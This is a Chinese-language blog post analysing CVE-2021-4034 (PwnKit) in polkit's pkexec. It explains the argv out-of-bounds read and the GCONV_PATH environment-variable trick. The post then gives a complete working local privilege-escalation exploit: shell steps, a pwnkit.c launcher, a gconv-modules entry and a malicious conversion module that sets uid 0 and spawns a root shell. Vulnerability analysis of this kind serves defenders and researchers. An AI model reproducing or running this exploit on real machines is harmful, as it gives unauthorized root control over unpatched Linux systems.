【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞

Null

当你在linux下要查看文件时,运行列如像cat这样的程序
在这里插入图片描述
所以整个参数数组看起来如下:

cat test.txt
 0    1

cat是第一个参数索引’0’,第一个参数通常是程序本身的名称,在我们的例子中它是cat
第二个参数是我们刚刚提供带有索引’1’的test.txt的文件名,这些都是字符串

但是在内存中,过程看起来像这样

0|1|2|…|0|1|2…
 args    env

因此你有一堆参数堆叠在一个地方,环境变量就在它旁边,首先是参数列表,然后是环境变量列表

那么真正将参数与环境变量区分开来的,比如这里真正的边界是什么?

这是一个重要的问题,因为内存是连续的,所以必须有一个明确的边界

0|1|2|null|0|1|2…
 args       env

如果参数最后一个元素为null,这意味着是参数结束的地方和环境变量开始的地方

cat test.txt null
 0    1       2

这是我们之前cat的示例,这里数组的第三个元素就是null,这就是参数结束的地方和环境变量开始的地方

漏洞原理

https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L481

首先查看pkexec中的源代码
【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第1张图片

for (n = 1; n < (guint) argc; n++)                   /这是一个循环,从变量n设置为1开始
    {
      if (strcmp (argv[n], "--help") == 0)             /然后它会检查在运行时提供给pkexec程序的参数
        {
          opt_show_help = TRUE;
        }
      else if (strcmp (argv[n], "--version") == 0)
        {
          opt_show_version = TRUE;
        }
      else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
        {
          n++;
          if (n >= (guint) argc)
            {
              usage (argc, argv);
              goto out;
            }

一直到下面第536行
【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第2张图片

g_assert (argv[argc] == NULL);     
  path = g_strdup (argv[n]);         /读取第N个参数,并将其设置为变量路径
  if (path == NULL)
    {
      usage (argc, argv);
      goto out;
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      s = g_find_program_in_path (path);
      if (s == NULL)
        {
          g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
          goto out;
        }
      g_free (path);
      argv[n] = path = s;             /它读取程序的路径并将其设置回来到参数数组
    }
  if (access (path, F_OK) != 0)

看完这两段代码,你就会发现一个问题

null|…|…|…|
   args

如果第一个元素是null,会发生什么,带着这个问题,我们再次回到源代码中看一遍

for (n = 1; n < (guint) argc; n++)     /最初n从这个循环中变为1,因为它与任何情况都不匹配,在值n设置为1的情况下打破这个循环
{
	……
}

……

path = g_strdup(argv[n]);      //在这里,他试图读取n的参数,我们知道n现在的参数为1,但我们第0个数组是null,这意味这参数应该在那里结束,但这行代码仍在尝试读取超出范围的内容,因此当它超出范围时,读取的内容为环境变量,前面我们说过,null结束后就是环境变量的开始,所以在这里,当它尝试读取第二个参数时,实际上读取的是环境变量

……

if (path[0] != '/')     /如果没有路径变量
{
	s = g_find_program_in_path(path);    /则越界读取'不以正斜杠开头'
	……
	argv[n] = path =s;      /在这里回到n的路径
}

这是越界,所以现在我们可以用某种方式利用这些,比如我们可以将如何环境变量注入到进程中

利用

我们可以在启动过程时添加一个环境变量,它们被称为’unsercure env vars’不安全的环境变量

https://code.woboq.org/userspace/glibc/sysdeps/generic/unsecvars.h.html

【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第3张图片
例如LD_preload,这样的环境变量会在uid程序上为用户运行的程序自动过滤的环境变量

https://code.woboq.org/userspace/glibc/elf/dl-support.c.html#348

【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第4张图片
如果它们没有被过滤,那么这是一个权限提升,但开发者知道这些攻击,因此从父进程到子进程限制了一些环境变量的传递
所以我们不能真正注入所有类型的环境变量,但由于我们有pkexec程序里的

argv[n] = path =s

我们可以使用它来注入不安全的环境变量,但在这之后有一个小问题,他调用clear env
【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第5张图片

  if (clearenv () != 0)       /清除每个环境变量
    {
      g_printerr ("Error clearing environment: %s\n", g_strerror (errno));
      goto out;
    }

  /* Initialize the GLib type system - this is needed to interact with the
   * PolicyKit daemon
   */
  g_type_init ();

  /* make sure we are nuked if the parent process dies */
#ifdef __linux__
  if (prctl (PR_SET_PDEATHSIG, SIGTERM) != 0)
    {
      g_printerr ("prctl(PR_SET_PDEATHSIG, SIGTERM) failed: %s\n", g_strerror (errno));
      goto out;
    }

这意味着我们需要找到一种方法来执行代码,从代码越界的地方开始执行到它清除所有环境变量之前
所以让我们再次在程序越界之后看一下代码
【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第6张图片

if (!validate_environment_variable (key, value))    /它调用了验证环境变量的函数
        goto out;

      g_ptr_array_add (saved_env, g_strdup (key));
      g_ptr_array_add (saved_env, g_strdup (value));
    }

在这个函数内部有一个对g_print错误的条件调用
【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第7张图片

if (g_strcmp0 (key, "SHELL") == 0)
    {
      /* check if it's in /etc/shells */
      if (!is_valid_shell (value))
        {
          log_message (LOG_CRIT, TRUE,
                       "The value for the SHELL variable was not found the /etc/shells file");
          g_printerr ("\n"
                      "This incident has been reported.\n");           /错误条件调用的地方
          goto out;
        }
    }
  else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||
           strstr (value, "%") != NULL ||
           strstr (value, "..") != NULL)
    {
      log_message (LOG_CRIT, TRUE,
                   "The value for environment variable %s contains suscipious content",
                   key);
      g_printerr ("\n"
                  "This incident has been reported.\n");         /错误条件调用的地方
      goto out;
    }

g_print这个函数有点重要,它可以帮助我们获得权限提升
这就是这个g_print错误函数通常的打印utf8错误消息的方式
【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第8张图片
但如果不是utf-8字符,他实际上会调用另一个函数,尝试使用转换模块将错误的utf-8字符转换为正确的
【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第9张图片
所以这里是关键的地方,我们需要完全控制这个转换模块
想法是
我们设置一个utf-8以外的东西,触发一个错误的判断,然后就会调用一个转换模块,我们可以使用一个名为gconv_path的环境变量来指定它,这个ICONV_OPEN函数会查看环境变量并从那里获取我们恶意的转换模块,一旦成功传输了我们的转换模块,它会尝试执行转换字符集,但实际上它是在执行我们的恶意代码,更重要的是,它是以root的身份执行的

利用脚本

首先我们先创建一个名为GCONV_PATH的目录

mkdir 'GCONV_PATH=.'

在这里插入图片描述

然后并在其中放在一个名为pwn的文件

touch GCONV_PATH\=./pwn

在这里插入图片描述
然后赋予pwn文件的执行权限

chmod +x pwn

然后新建一个文件

touch pwnkit.c

写入以下的代码

#include 

int main() {
    char *argv[] = { NULL };
    char *envp[] = {
        "pwn",
        "TERM=..",
        "PATH=GCONV_PATH=.",
        "CHARSET=BRUH",
        NULL
    };
    execve("/usr/bin/pkexec", argv, envp);  

    return 0;
}

解释

int main() {
    char *argv[] = { NULL };
    char *envp[] = {
        "pwn",               /我们将第一个环境变量设置pwn
        "TERM=..",       /这里会触发g_print打印错误
        "PATH=GCONV_PATH=.",            /然后环境变量等于GCONV_PATH
        "CHARSET=BRUH",          /设置为bruh来触发认为这不是utf-8的判断,并且它会尝试进行转换
        NULL
    };
    execve("/usr/bin/pkexec", argv, envp);    

    return 0;
}

创建一个名为phone的目录

mkdir phone

然后再在phone目录下创建pwn目录

mkdir pwn

创建一个名为gconv-modules的模块
【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第10张图片
写入

echo 'module  UTF-8//    BRUH//    conversion-mod   1' > gconv-modules

在这里插入图片描述
然后再创建一个名为conversion-mod.c的文件

touch conversion-mod.c

然后写入

#define _GNU_SOURCE
#include 
#include 

int gconv_init() {

    setuid(0);
    setgid(0);

    char *args[] = {"sh", NULL};
    char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};

    execvpe("/bin/sh", args, envp);

    return(__GCONV_OK);
}

int  gconv(){ return(__GCONV_OK); }

解释

#define _GNU_SOURCE
#include 
#include 

int gconv_init() {

    setuid(0);        
    setgid(0);            /都设置为零的意思是root

    char *args[] = {"sh", NULL};
    char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};

    execvpe("/bin/sh", args, envp);     /创建一个简单的shell

    return(__GCONV_OK);
}

int  gconv(){ return(__GCONV_OK); }

最后用gcc编译所有的c文件
然后运行pwnkit文件
【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第11张图片
或者下载

https://github.com/PwnFunction/CVE-2021-4034

在文件目录输入命令

make all

【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第12张图片
然后运行pwnlit文件
【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞_第13张图片

总结

避免被利用的方式是更新polkit,这篇文章写了一天,欢迎大家来关注我,之后也会写很多类似的分析文章

你可能感兴趣的:(cve,经验分享,安全,网络安全)